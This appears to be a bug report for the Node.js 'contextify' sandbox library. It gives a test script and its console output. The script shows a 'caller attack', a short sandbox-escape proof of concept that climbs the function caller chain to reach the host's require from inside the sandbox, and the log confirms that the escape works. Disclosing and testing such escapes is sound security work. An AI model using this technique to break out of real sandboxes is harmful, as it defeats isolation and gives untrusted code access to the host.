Contextify caller attack

console.log.txt

d:\node\contextify-test>node index.js
-- simple assign to this --
2

-- global access (require) --
require is not defined

-- caller attack --
function require(path) {
    return self.require(path);
  }

test.js

var Contextify = require('contextify');
var sandbox = { console: console };
Contextify(sandbox);

//this points to our sandbox.
console.log("-- simple assign to this --");
sandbox.run("this.x = 2");
console.log(sandbox.x);
console.log("");

//make sure we can't access global variables.
console.log("-- global access (require) --");
try
{
  sandbox.run("this.require = require");
}
catch(e)
{
	console.log(e.message);
}
console.log("");

//make sure we can't access caller.caller.etc
console.log("-- caller attack --");
//sandbox.run("var self=this;(function foo(){ return console.log(foo.caller.caller.caller.toString());})()");
sandbox.run("(function foo(){ return console.log(foo.caller.caller.caller('return require.toString()'));})()");
console.log("");